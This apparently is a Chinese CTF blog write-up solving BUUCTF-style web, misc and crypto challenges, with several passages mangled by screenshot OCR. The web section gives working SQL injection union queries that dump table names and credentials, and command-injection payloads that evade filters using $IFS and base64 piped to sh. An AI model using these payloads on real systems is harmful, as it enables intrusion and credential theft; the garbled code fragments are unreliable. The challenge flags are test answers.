gPGgxIHN0eWx1PSJmb25	50LWZhbWlseTp22	ZXJkYW5h02NvbG9	yOnJ1ZDt0ZXh0LW	FsaWduOm	NlbnRlcj	jsiPu₩V
iuWTiO+8geS9oOaJvuWI	[s0aIkeS6hu+8g	eWPr+aYr+S9oOec:	i+S4jeWIs0aIkVF	BUX5+fjw	vaDE+PGJ	JyPjxic
j48YnI+CiAgICAgICAgC	CiAgICAgICAgPH	Agc3R5bGU9ImZvbr	nQtZmFtaWx50mFy	aWFs02Nv	bG9y0nJ1	ZDtmb2
50LXNpemU6MjBweDt0ZX	KhOLWFsaWduOmN	lbnRlcjsiPgogICA	AgICAgICAgICA8P	3BocAogI	CAgICAgI	[CAgICA
gICAgZWNobyAi5oiR5bC	Cx5Zyo6L+Z6YeM	IjsKICAgICAgICA	gICAgICAgICRmbC	FnID0gJ2	ZsYWd7Yj	jUwZTcy
YWEtYmY4ZC00M2Q5LTgz	zZGQtMmY3NTZmM	jkyNDU0fSc7CiAg	ICAgICAgICAgICA	gICAkc2V	jcmVOIDC)gJ2pp€
W5nX0x1eXVhb193NG50c	e19hX2cxck1mcml	kzbmQnCiAgICAgI(CAgICAgID8+CiAg	ICAgICAg	PC9wPgog	gICAgPC
9ib2R5PgoKPC9odG1sPg	30=					



ha,这个结果出乎意料,试了几次发现解码问题

清空 加密 解密 □ 解密结果以16进制显示	
<pre></pre>	▲
php</td <td></td>	
echo "我就在这里";	
\$flag = 'flag{b50e72aa-bf8d-43d9-83dd-2f756f292454};;	
<pre>\$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'</pre>	
?>	
	-
复制	https://blog.csdn.net/qq_4583647

[极客大挑战 2019]LoveSQL

post类型表单注入,先尝试万能密码

admin' or 1=1#



可以看出是字符型注入,单引号闭合,接下来可以查询列数

order by 4#

到四报错,判断有三列。

7e09e1741.node3.buuoj.cn/check.php?username=admin%27+order+by+4%23&password=1

Unknown column '4' in 'order clause'

WORK, GET MARRIED ME KIDS, PAY YOUR TAXES INE BILLS, WATCH YOUR TV IR BILLS, WATCH YOUR TV N FASHION, ACT NORMAL

https://blog.csdn.net/qq_45836474

爆数据库名

-admin' union select 1,2,database()#



数据库名为 geek

-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#



题目是loveSQL,所以猜测flag可能在 10ve1ysq1 中。 然后就是爆字段

-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#



SO TO WORK, GET MARRIED HAVE SOME KIDS, PAY YOUR TAXES HAVE SOME KIDS, WATCH YOUR TV PAY YOUR BILLS, WATCH YOUR TV FOLLOW FASHION, Hellor 2!NORMAL FOLLOW FASHION, Hellor 2!NORMAL OBEY THE Your password is 'id, username, password' OBEY THE Source of the second states of the second s

这个跟sqli-labs第一关几乎一样的。

-admin' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#



就能找到flag

flag{d96f20f0-79fe-4a7a-998b-4cb9ebf4902b}

[GXYCTF2019]Ping Ping Ping

这个题也是很有意思,可能有点linux基础的做起来更容易理解一点。 开启环境,是让/?ip,这样可以看出来是让在后面加上IP地址,然后考点应该是命令执行漏洞,先尝试127.0.0.1

← → C ① 不安全 | 5edc33fb-189b-4e9f-b8e8-3e47700f2a49.node3.buuoj.cn/?ip=127.0.0.1

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes

https://blog.csdn.net/qq_45836474

ping成功了,然后就可以构造我们的命令执行漏洞的payload了

?ip=127.0.0.1|ls

查看当前目录下的文件

← → C ① 不安全 | 5edc33fb-189b-4e9f-b8e8-3e47700f2a49.node3.buuoj.cn/?ip=127.0.0.1|ls

/?ip=

flag.php index.php

https://blog.csdn.net/qq_45836474

然后就是cat一下看看内容。 但是发现好像有过滤

← → C ① 不安全 | 5edc33fb-189b-4e9f-b8e8-3e47700f2a49.node3.buuoj.cn/?ip=127.0.0.1|cat%20flag.php

/?ip= fxck your space!

https://blog.csdn.net/qq_45836474

空格被过滤了。关于命令执行漏洞的各种绕过,我刚学习总结一篇新的博客□——命令执行漏洞的各种绕过方式 我选择 **\$IFS** 绕过

?ip=127.0.0.1|cat\$IFSflag.php

/?ip= fxck your flag!

flag也被过滤了,先查看一下index.php里面的内容。使用 \$IFS 过滤好像没有什么内容返回,尝试一下使用 \$IFS\$1

```
① 不安全 | 5edc33fb-189b-4e9f-b8e8-3e47700f2a49.node3.buuoj.cn/?ip=127.0.0.1 | cat$IFS$1 index.php
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
    echo preg_match("/\&|\/|?|\*|\<[[\x {00} -\x {20}]]\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
} else if(preg_match("/ /", $ip)) {
    die("fxck your space!");
} =lce if(preg_match("/", $ip)) {

  die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
     die("fxck your flag!");
   $a = shell_exec("ping -c 4 ".$ip);
   echo
  print_r($a);
 3
/?ip=
\\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
     echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
     die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
     die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
     die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
     die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
۰;
  print_r($a);
}
?>
```

可以看出,这个是过滤了许多标点,空格,bash,包括flag的贪婪匹配 绕过方法可以使用变量拼接

?ip=127.0.0.1;a=g;cat\$IFS\$1fla\$a.php

在源代码当中 Application Elements Console Sources Network Performance Memory Security Lighthouse А <html> <head></head> •▼<body> == \$0 "/?ip= ... ▼ "PING 127.0.0.1 (127.0.0.1): 56 data bytes <!--?php \$flag = "flag{e1c15e53-1382-41c1-8d8d-242c89f507bc}"; ?--> /pre> </body> </html>

. . .

当然还有其他的方式,就不一一演示了。

/?ip=127.0.0.1;echo<mark>\$IFS\$1Y2F0IGZsYWcucGhw</mark>|base64**\$IFS\$1**-d|sh 绕过bash,使用sh同样可行 /?ip=127.0.0.1;cat<mark>\$IFS</mark>`ls` *#内联执行的做法:*

Misc

[WUSTCTF2020]alison_likes_jojo

信息就是:两张图片,还有题目描述,不过我没发现这个有什么作用。 文件中隐藏了压缩包,foremost分离得到压缩包,尝试进行爆破

口令已成功恢复!

Advanced A	rchive Password Recovery 统计信息:	
总计口令	998,861	
总计时间	47ms	
平均速度(口令/秒)	21,252,361	
这个文件的口令	888866	
十六进制口令	38 38 38 38 36 36	

_____保存...

https://blog.cv/i确定/qq_45836474

得到文件中是一串base64编码,而且文件名也说明了就是beisi

WVRKc2MySkhWbmxqV0Zac1dsYzBQUT09 YTJsc2JHVnljWFZsWlc0PQ== a2lsbGVycXVlZW4= killerqueen



然后看了眼wp,好像是outguess

zxcv0221@keli:~/桌面\$ outguess -k "killerqueen" -r jljy.jpg hidden.txt Reading jljy.jpg.... Extracting usable bits: 5580 bits Steg retrieve: seed: 127, len: 40 zxcv0221@keli:~/桌面\$

桌面生成的hidden.txt打开就是flag了 以后要多长个心眼了。

[SUCTF2018]single dog

这个没什么绕的,就是一个新知识,aaencode解密 在线网站——□传送门

jjencode与aaencode解密

function a()	
{	
<pre>var a="SUCTF{happy double eleven}";</pre>	
alert("双十一快乐");	
}	
a();	
	https://blog.csdn.net/qq_45836474

[SUCTF 2019]Game

图片好像是没有隐藏文件的,所以先放着,看文件夹里的文件。 找到HTML,看源码

```
<ni class="text text--title">
     <span>welcome to suctf</span>
     </h1>
    <div class="text text--note">
      双击即可开始
     <br></br>
   <span>can u find my secret?</span>
     </div>
Þ
     <div class="text text--timer">
     0:00
</div>
    <div class="text text--complete">
     <span>Well done!</span>
F
    </div>
    <div class="text text--best-time">
     <icon trophy></icon>
      <span>We.l done!,
      <?php ecito "here is your flag:ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===" ?>
      </span>
     </div>
   </div>
È
  <div class="ui prefs">
     <range name="flip" title="Flip Type" list="Swift&nbsp;,Smooth,Bounde"></range>Uqq_45836474
```

这个是base32编码,就进行解密得到

ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===

Result	Replace	Rep

suctf{hAHaha_Fak3_F1ag}

https://blog.csdn.net/qq_45836474

但是,这个不对。是个假的flag。还是要去看图片。' 图片现在能想到的就是只有LSB隐写了。

553246736447566b 58312b7a486a53 2 U2FsdGVk X1+zHjSB							
6559507457515653 77587a6356465ac eYPtWQVS wXzcVFZL							
7536516d30546f2f 4b657548673876 b u6Qm0To/ KeuHg8vK							
4178467256513d3d 9070ceaebla537 a AxFrVQ== .p7j							
2bf9387b9b5ab35f 0ddf92b46c0ba4ec +.01.2							
94a366d2007a92b6 492127b6ed31d7b2fz I!'l							
3d4ec5bdd70199e7 6c9992da5081fa23 =N 1P#							
b3f43c0e07007fc0 c71c781c71f61f8e <dx.q< td=""><td></td></dx.q<>							
07fc01ffbf81ff00 0000e0700000000							
0000001ffe38b52b 6a49556a787f5cbe8.+ jIUjxD\.	_						
Bit Planes	Order settings						
Alpha 7 6 5 4 3 2 1 0	Extract By Row Column						
Red 7 6 5 4 3 2 1 0	Bit Order 💿 MSB First 🔾 LSB First						
Green 7 6 5 4 3 2 1 0							
	Bit Plane Order						
Blue 7 6 5 4 3 2 1 0							
	© KOD UKD						
	○ RBG ○ BRG						
Preview Settings							
Include Hex Dump In Preview	U GBK U BGR						
Preview Save Text Save B	in Cancel of continend (_43836474						

是DES加密,看一个大佬的博客说是 U2FsdGVkX1 开头的加密基本都是DES加密。然而需要密码。 刚得到的假flag就是密码,看wp的时候也要仔细啊,DES和3DES也是不一样的。害我刚试了好多遍怎么都解不出来,就是不认 真的结果。

首页 / 加密 & 解密 / Triple DES加密 & Triple DES解密		是这个加密
加密/解密 AES加密/解密 DES加密/解密 RC4加密/解密 Rabbit加密/解密	TripleDes加密/解密	MD5加解密 Base64加解密 Hash加解密 JS加密 JS解密
suctf{U_F0und_1t}	suctf{hAHaha_Fak3_F1a 密码是可选项,也就是可以	ag} U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ== 示填。
	く解密加密>	

2020网鼎杯朱雀组——九宫格

emmm,脚本题

思路:先用二维码扫描工具进行扫描,试了几个发现都是zero或者one,猜想应该是二进制什么的。这个图片很多,需要用到脚本了。

```
import zxing
import os
filepath = r"#QRcode文件夹所在的绝对路径#"
l = os.listdir(filepath)
l.sort(key=lambda x:int(x[:-4]))
t = ''
for i in l:
    reader = zxing.BarCodeReader()
    barcode = reader.decode(filepath+"\\"+i)
    print(barcode.parsed)
    if(barcode.parsed == 'zero'):
       t = t + '0'
    else:
       t = t + '1'
```

```
print(t)
```



上面用到一个第三方库需要自己安装zxing,简单的直接使用pip安装就行。 然后二进制转文本,找个在线网站转一下,然后是rabbit加密 呃呃呃呃,不过我好像没有看到有提示,,,,百度的wp都说有提示,这道题是我在CTFhub上做的,没发现提示,然后找到个 师傅的wp说是九宫格有关的,还是直接附上博客地址叭。参考博客 然后得到flag,看过之后觉得这个需要有点脑洞的的。

本题总结:脚本比较慢,可以加上多线程,□学的浅,目前还不会改脚本,不过多线程的确可以提快很多。还有就是这个好像是 有个工具可以批量扫描二维码的,我看wp的时候有个师傅的图是批量转换的,没用脚本。不过没找到这个工具。

[GUET-CTF2019]zips

解压,得到压缩包,再次解压,有密码,爆破得到密码,解压,无果。010editor查看,发现伪加密。(或者ZipCenOp,jar清除伪加密,使用方法请百度。)解压得到脚本,记事本打开是python脚本。python2的,需要用2的版本进行运行。运行后发现是一堆掩码(查过百度后知道的),格式是????????????????用ARCHPR进行掩码破解,参数设置百度找了好久没找到,还是自己摸索摸索。



这样,攻击类型选择掩码,设置一下掩码选项(P:最近眼神有点不好使,总看错东西,这个是没有看到) 进行破解就行,数字有点大,破解的有点慢。密码: 1558080832.15 解压得到flag



我吃三明治

图片,没有备注什么的,先foremost分离一下,看到两张图片,都是三明治,emmm有点不一样的,一张图里面藏了两张图。010editor看看,搜索图片位置,连接处好像有段编码。

己始页	f1	ag	ipg ×	<													「Andread State and Andread State and An
编辑》	方式:	+7	て进制	(H)	×.	运行	脚本	: <u>~</u>	运行	ī模板	έ×						
	Q	1	2		4		6			9	A	B		Ď	Ę	F	0123456789ABCDEF 已找到2个'FFD8FFE0'.
170h:	44	40	44	44	04	44	40	44	44	04	44	40	44	44	04	44	D@DD.D@DD.D Oh FFD8FFE0
180h:	40	44	44	04	44	40	44	44	04	44	40	44	44	04	44	40	@DD.D@DD.D@ 9263h FFD8FFE0
190h:	44	44	04	44	40	44	44	04	44	40	44	44	04	44	40	44	DD.D@DD.D@D.D@D
lAOh:	44	04	44	40	44	44	04	44	40	44	44	04	44	40	44	44	D.D@DD.D@DD.D@DD
lB0h:	04	44	40	44	44	04	44	40	44	44	04	44	40	44	44	04	.D@DD.D@DD.
lCOh:	44	40	44	44	04	44	40	44	44	04	44	40	44	44	04	44	D@DJ.L@DD_D@DD.D
lD0h:	40	44	44	04	44	40	44	44	04	44	40	44	44	04	44	40	@LJ.D@DD_D@DD.D@
lEOh:	44	44	04	44	40	44	44	04	44	40	44	44	04	44	40	44	DJ. D@DL. D@DD. D@D
lF0h:	44	04	44	40	44	44	04	44	40	44	44	04	44	40	44	44	D.D@DD.D@DD
200h:	04	44	40	44	44	04	44	40	44	44	04	44	40	44	44	04	.D@DD.D@DD.
210h:	44	40	44	44	04	44	40	44	44	04	44	40	44	44	04	41	D@DD.D@DD.D@DD.D
220h:	40	44	44	1F	FF	D9	4D	5A	57	47	43	5 A	33	33	47	5 A	@DD.ÿÙMZWGCZ33GZ
230h:	54	44	43	4E	5A	5 A	47	35	53	44	49	4D	42	59	47	4 <u>2</u>	TDCNZZG5SDIMBYGB
240h:	52	44	45	4 F	4C	43	47	59	32	47	49	59	4A	56	48	4 L	RDEOLCGY2GIYJVHA
250h:	34	54	4F	4E	5A	59	47	41	2	44	4D	4D	33	46	47	4 D	4TONZYGA2DMM3FGM
260h:	59	48	32	$\mathbf{F}\mathbf{F}$	D8	FF	E0	00	: 0	4A	46	49	46	00	01	0	YH2 <mark>ÿØÿà JFTF</mark>
270h:	01	00	48	00	48	00		FF	JВ	00	43	00	06	04	05	06	H.HÿÛ.C
280h:	05	04	١ĸ	<u> </u>	05	06	07	07	6	80	0A	10	A 0	A 0	09	09	
290h:	A 0	14	0E	0F	0C	10	17	14	18	18	17	14	16	16	1A	1D	······
2A0h:	25	1F	1A	1B	23	1C	16	16	20	2C	20	23	26	27	29	2A	8#, #&')*
2B0h:	29	19	1F	2D	30	2D	28	30	25	28	29	28	FF	DB	00	43)0-(0%()(ÿÛ.C
2C0h:	01	07	07	07	A0	80	A 0	13	A0	A0	13	28	1A	16	1A	28	
2D0h:	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	
2E0h:	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	
2F0h:	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	28	
300h:	28	FF	C0	00	11	08	01	9F	02	26	03	01	22	00	02	11	(ÿÀŸ.&"
310h:	01	03	11	01	FF	C4		1C		00	00	07	01	01	00	00	ÿÄ
320h:	00	00	00	00	00	00	00	00	00	00	02	03	04	05	06	07	
330h:	01	08	FF	C4	00	3F	10	00	02	01	03	03	02	05	02	03	ÿÄ.?
340h:	07	03	03	05	00	02	03	01	02	03	00	04	11	05	12	21	
350h:	31	41	06	13	22	51	61	14	71	07	32	81	23	42	91	A1	1A"Qa.q.2.#B`;
360h:	B1	C1	D1	15	52	E1	33	62	F0	16	24	43	72	F1	53	82	±ÁÑ.Rá3bð.\$CrñS, thus the strange of

像是base32,解码得到flag

[MRCTF2020]CyberPunk

呃呃呃,原本没看懂啥意思,原来是需要将电脑上的日期改为发行日期就行了。也就是改成2020.9.17 其他没什么可说的

[WUSTCTF2020]girlfriend

听起来是按键音吧,之前做过这样的题,是按键音的。工具是dtmf2,下载地址可参考我之前写的博客——(CTF题记——再战 GK、BUU),或者自行百度

D:\Anquan\ctftoo	Is\杂项工具>dtmf2num D:\谷歌\谷歌下载\girlfriend.wav	
DTMF2NUM 0.1c by Luigi Auriemma e-mail: aluigi@au	像是base32, 解码得到flag a utistici.org=20201CyborPunk	
web: aluigi.o	g IMIKO FF 2020 JOYDEFF UTIK	
- open D:\谷歌\名 wave size format tag channels: samples/sec:	秋下载\girlfriend.way意思,原来是需要将电脑上的日期改为发行日期就行 7466540 1 ↓ 也就是改成2020.9.17 2 」 44100 2 44100 3 4 4 1 3 4 4 1 4 1 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4 1 4 4	
avg/bytes/sec: block align: bits:	176400 4 [WUSTCTF2020]girlfriend 16	
samples: bias adjust: volume peaks: normalize: resampling to:	3733270 215 程来是按键音吧,之前做过这样的题,是按键音的。工具是 -12024 12025 20742 8000hz	
- MF numbers:	477777777	
- DTMF numbers:	999* 666*88*2*777*33*6* 999*4*44 4*777*555*333*777*444*33*66*3*7777	
D:\Anquan\ctftoo	ls\杂项工具>	https://blog.csdn.net/qq_45836474

然后根据九键键盘对照一下

999*666*88*2*777*33*6*999*4*444*777*555*333*777*444*33*66*3*7777 y o ua remygi rlfriends
y oua remygi rlfriends

□出题人还挺花心的,这么多girlfriend

[HBNIS2018]来题中等的吧

第一步: foremost 第二步: 010editor 第三部: stegsolve 全都没发现任何信息□



然后仔细看图片内容,发现是摩斯密码,可以直接写出来。

Encode Decode i	енстурт рестурт	Binary About O	uners				
Source		Replace		Replace	Clear	Сору	Pas

Result	Replace	Replace	Clear	Сору	Pas

ALPHALAB

https://blog.csdn.net/qq_45836474

就是flag了。挺简单一道题给想多了。

Crypto

[NCTF2019]Keyboard

键盘密码

ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy ee e www w tt ee 可以看出这些字母都是在键盘上的最上面那一行的。而且再往上看,是数字。一个字母对应一个数字。 0-9 , 然后又是这种格式的,明显是在九键键盘上再进行解题。比第一个 o=9, 第九个键的第三个是y



```
然后用脚本继续解
```

```
cipher = 'ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www
ee yyy eee www w tt ee'
s = ' qwertyuiop'
d = ['', '', 'abc', 'def', 'ghi', 'jkl', 'mno', 'pqrs', 'tuv', 'wxyz']
for part in cipher.split(' '):
    # print(part)
    count = len(part)
```

解出是

youaresosmartthatthisisjustapieceofcake

print(d[num][count - 1], end='')

加上flag就行了。

总结:看到键盘密码必须要想到两种键盘,并且数字字母之间的关系要多理解。

[GXYCTF2019]CheckIn

num = s.index(part[0])

题目只有一串base64编码

dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==

解出来是一串乱码

v)*L*_F0<}@H0>F49023@FE0#@EN

ROT47 Encrypt/Decrypt

web developer and programmer tools

World's simplest ROT47 tool. Just paste your string in the form below, press ROT47 Translate button, and you get ROT47-encoded text. Press button, get ROT47. No ads, nonsense or garbage. Remember that ROT47(ROT47(str)) == str!

> Announcement: We just launched TECHURLS – a simple and fun tech news aggregator. Check it out!

GXY{YOu_kNow_much_about_Rot}	

https://blog.csdn.net/qq_45836474

这,,,怎么没有想到rot的其他加密,害脑洞太小。

思考: 很乱的字符串, 特别是有*、#、@等字符, 优先考虑移位的密码。rot家族的其他成员不能忘了。

这周就这吧,不写了。玩游戏放松放松去。